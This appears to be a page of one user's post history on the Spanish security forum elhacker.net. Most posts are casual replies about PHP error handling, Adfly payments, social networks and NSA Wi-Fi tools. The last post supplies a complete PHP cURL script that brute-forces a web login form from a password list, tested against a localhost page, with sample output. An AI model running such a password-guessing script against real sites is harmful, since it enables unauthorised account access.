elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: 1 ... 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 [458] 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 ... 768
4571  Foros Generales / Foro Libre / Re: ¿como programan codigo de software los rusos,arabes y chinos nativos? en: 2 Enero 2014, 17:55 pm
Citar
la "letra latina" por que supuestamente algunos no dominan el abecedario.

Para ser programador hay que saber ingles si o si... vamos aunque sea un poco saben. El abecedario es lo de menos. Y la letra latina la saben perfectamente, los teclados suelen venir en ambos idiomas ademas de que el ingles suele ser obligatorio.

Saludos
4572  Foros Generales / Foro Libre / Re: Al estilo informatico :) en: 2 Enero 2014, 16:37 pm
Una tia cualquiera a la que se lo acabas de contar:


Saludos
4573  Foros Generales / Dudas Generales / Re: Ayuda con adfly en: 1 Enero 2014, 22:40 pm
El pago mínimo en Adfly es de 5 dolares americanos. Pagan el primer lunes de cada mes. Osease en teoria si te van a pagar, te pagaran el dia 6 que es lunes. Si dices que tienes menos de 5 dolares, no te van a pagar... tendrás que esperar hasta reunir los 5$ y que toque el primer lunes del mes.

7. Payment
Payments from AdF.ly are made through PayPal ('http://www.paypal.com') or Payoneer ('http://www.payoneer.com') on first Monday of every Month. The minimum amount available for a withdrawal is USD$5.00 for PayPal, if the registration of the account was after 1st July 2009 or a previous withdrawal has already been processed. Otherwise the minimum withdrawal is USD$20.00. The minimum amount available for a withdrawal is USD$10.00 through Payoneer.
http://adf.ly/terms

Saludos
4574  Foros Generales / Noticias / Re: Éstas son las redes sociales que plantan cara a Facebook en el resto del mundo en: 1 Enero 2014, 21:48 pm
Que hay de tuenti en españa ? Toy seguro que hay mas jovenes con tuenti que con facebook ·_·

Saludos
4575  Programación / Desarrollo Web / Re: Mensajes de error en PHP en: 31 Diciembre 2013, 23:05 pm
Citar
Tambien se puede utilizar empty()

De hecho yo lo prefiero antes que isset pero el no aceptar el 0 me caga (xD) y a veces tengo que poner mas condiciones estúpidas xD

Código
  1. if((empty($_GET['dato1'])&&@$_GET['dato1']!=='0')){
  2.  die('No has declarado la variable, negro');
  3. }

o funciones para reutilizar...

Código
  1. <?php
  2. function empti(){
  3.   foreach(func_get_args() as $arg){
  4.      if(!isset($arg)){return true;}
  5.      elseif(!is_array($arg)&&!is_object($arg)&&!is_numeric($arg)){
  6.         $long = (function_exists('mb_strlen') ? mb_strlen($arg) : strlen($arg));
  7.         if($long>0){continue;}else{return true;}
  8.      } elseif(is_numeric($arg)||is_int($arg)){
  9.         continue;
  10.      } else {
  11.         if(empty($arg)){return true;}else{continue;}
  12.      }
  13.   }
  14.   return false;
  15. }
  16.  
  17.  
  18. $arr = array(); $arr2 = array(5);
  19. $str = ''; $str2 = '1';
  20. $int = 0; $int2 = 1;
  21. $var = null; $var2 = false;
  22.  
  23. var_dump(empti($arr)); echo '<br />'; var_dump(empti($arr2)); echo '<br />';
  24. var_dump(empti($str)); echo '<br />'; var_dump(empti($str2)); echo '<br />';
  25. var_dump(empti($int)); echo '<br />'; var_dump(empti($int2)); echo '<br />';
  26. var_dump(empti($var)); echo '<br />'; var_dump(empti($var2)); echo '<br />';
  27.  
  28. // Acepta cuantos parametros le pases, si alguno de ellos esta vacio, devueve true.
  29. var_dump(empti($arr,$arr2,$str,$str2,$int,$int2,$var,$var2));
  30. ?>

Se me olvido que tambien puedes silenciar el error mediate @. Ejemplo
Código
  1. $ejemplo = @$_POST['dato1'];

Saludos
4576  Programación / Desarrollo Web / Re: Mensajes de error en PHP en: 31 Diciembre 2013, 22:24 pm
Lo mas normal es comprobar si la variable en cuestion esta declarada.

Código
  1. if(isset($_POST['dato1'])){$ejemplo = $_POST['dato1'];}
  2. // o
  3. $ejemplo = (isset($_POST['dato1']) ? $_POST['dato1'] : null);

Aunque también puedes quitar los errores del tipo NOTICE con
Código
  1. error_reporting(E_ALL ^ E_NOTICE);

Saludos
4577  Foros Generales / Foro Libre / Re: Feliz navidad y prospero año nuevo en: 31 Diciembre 2013, 22:13 pm
Los del STAFF ya recibieron la paga extra por navidades ? A mi solo me llego el mensual  :silbar:



Feliz año nuevo  ;-)

Saludos
4578  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Tengo una Duda Moderador en: 31 Diciembre 2013, 21:46 pm
Mostrar nuevas respuestas a tus mensajes.

Esta arriba a la derecha, debajo de "Mostrar mensajes no leidos desde la ultima visita".

Saludos
4579  Foros Generales / Noticias / Re: La NSA puede hackear redes Wi-Fi a 12km de distancia en: 31 Diciembre 2013, 18:55 pm
Hasta 12km en condiciones IDEALES para el ataque.. vamos que en un entorno real no llega ni a la mitad xD

No creo que sean capaces de "hackear" cualquier WiFi.. sin mas por lo que visto, NIGHTSTAND es un "maletin" con hardware corriendo Fedora capaz de injectar paquetes en redes WiFi para comprometer maquinas con Windows usando IE 5-6. Y se usa donde no se puede acceder al sistema mediante cable. Vamos, me imagino que como mucho seran capaces de abrir WEP y WPA+WPS. A no ser, que el router tenga una puerta trasera en su firmware...



Si queréis mas "gadgets" interesantes de la NSA y su division ANT..este post es bastante ultil.

http://leaksource.wordpress.com/2013/12/30/nsas-ant-division-catalog-of-exploits-for-nearly-every-major-software-hardware-firmware/

Saludos
4580  Programación / PHP / Re: Fuerza bruta método POST [PHP] en: 31 Diciembre 2013, 17:40 pm
cURL mola :P .. aunque como ha dicho @EFEX se puede hacer de muchisimas formas (con muchísimos programas).

Código
  1. <?php
  2.  
  3. // Url a donde enviar los datos.
  4. $url = 'http://localhost/prueba.php';
  5. // Datos adicionales que hay que enviar (usuario,nacimiento,direccion email etc..)
  6. $datos = array('user'=>'Aitor');
  7. // Nombre del campo que contiene la contraseña
  8. $campo_password = 'password';
  9. // Archivo con las contraseñas
  10. $archivo_passwords = 'passwords.txt';
  11. // Resultado deberia ser.. puede ser parte de un string.
  12. $string_valido = 'Bienvenido';
  13.  
  14. /* ------------------------------------------------ */
  15. function procesar_archivo($archivo){
  16.   if(empty($archivo)||!file_exists($archivo)){return false;}
  17.   $handle = fopen($archivo,'r');
  18.   $content = fread($handle,filesize($archivo));
  19.   $content = explode("\n",$content);
  20.   fclose($handle);
  21.   return $content;
  22. }
  23.  
  24. if(!function_exists('curl_init')||!function_exists('curl_exec')){die('No dispongo de curl');}
  25.  
  26. // Iniciamos curl.
  27. $ch = curl_init();
  28. // Indicamos que debe devolver el resultado
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  30. // Indicamos la url.
  31. curl_setopt($ch,CURLOPT_URL, $url);
  32. // Indicamos que va a ser un POST y su longitud.
  33. curl_setopt($ch,CURLOPT_POST, count($datos)+1);
  34. // Indicamos que siga las redirecciones
  35. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  36. // Simulamos ser un navegador Firefox.
  37. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  38.  
  39. // Procesamos el archivo.
  40. $passwords = procesar_archivo($archivo_passwords);
  41. if(empty($passwords)||!is_array($passwords)){die('El archivo no existe y/o no es valido');}
  42.  
  43. // Por cada password
  44. foreach($passwords as $password){
  45.  
  46.   // Converimos los datos a url. (ej: usuario=Aitor&email=hola)
  47.   $string='';
  48.   foreach($datos as $index=>$valor){ $string .= $index.'='.$valor.'&'; }
  49.  
  50.   // Añadimos el campo password
  51.   $string.=$campo_password.'='.$password;
  52.  
  53.   // Añadimos los datos al POST
  54.   curl_setopt($ch,CURLOPT_POSTFIELDS, $string);
  55.  
  56.   // Ejecutamos curl
  57.   echo 'Probando -'.$password;
  58.   $resultado = curl_exec($ch);
  59.  
  60.   // Comprobamos si fue validado
  61.   if(strstr($resultado,$string_valido)){echo '-VALIDO';break;}
  62.   else {echo '-NO VALIDO <br />'; continue;}
  63. }
  64.  
  65. ?>

Prueba PHP:
Código
  1. <?php
  2. $user = $_POST['user'];
  3. $password = $_POST['password'];
  4. if($user === "Aitor" && $password == 10){echo "Bienvenido usuario X";}else{echo "No es correcto.";}
  5. ?>

Resultado:
Código
  1. Probando -1-NO VALIDO
  2. Probando -2-NO VALIDO
  3. Probando -3-NO VALIDO
  4. Probando -4-NO VALIDO
  5. Probando -5-NO VALIDO
  6. Probando -6-NO VALIDO
  7. Probando -7-NO VALIDO
  8. Probando -8-NO VALIDO
  9. Probando -9-NO VALIDO
  10. Probando -10-VALIDO

Saludos
Páginas: 1 ... 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 [458] 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 ... 768
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines